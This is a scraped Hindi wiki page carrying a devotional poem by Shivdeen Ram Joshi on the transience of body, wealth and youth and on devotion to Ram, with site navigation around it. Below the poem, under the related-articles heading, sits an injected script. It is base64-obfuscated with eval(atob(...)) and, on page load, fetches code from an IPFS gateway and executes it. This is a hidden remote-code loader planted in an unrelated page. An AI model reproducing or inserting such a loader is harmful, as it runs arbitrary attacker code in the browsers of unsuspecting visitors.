एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

तन धन जोबन -शिवदीन राम जोशी  

तन धन जोबन थिर नहीं, मुरख करे गुमान,
ए मन नर तन पायके, कर सबका सनमान।
कर सबका सनमान, पावणा है दो दिन का,
राम नाम उर धार, मिला है सुन्दर मौका।
सबसे बोलो प्रिय वचन, सत्य बात परतीत,
शिवदीन हार के ना चलो, चलो तो बाज़ी जीत।
                    राम गुण गायरे।।



तन धन जोबन पर बड़ा, कीना जिन विस्वास,
ये सब धोखा दे चले, रहे ना कोई पास।
रहे ना कोई पास, धाम धन दो-दो दिन के,
तन जोबन ढलि गये, संगमें रह कर जिनके।
फिर इन पर विस्वास क्या, राम भजो शिवदीन,
सत संगत करि के चलो, चातुर चातुर प्रवीन।
                   राम गुण गायरे।।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=तन_धन_जोबन_-शिवदीन_राम_जोशी&oldid=280776" से लिया गया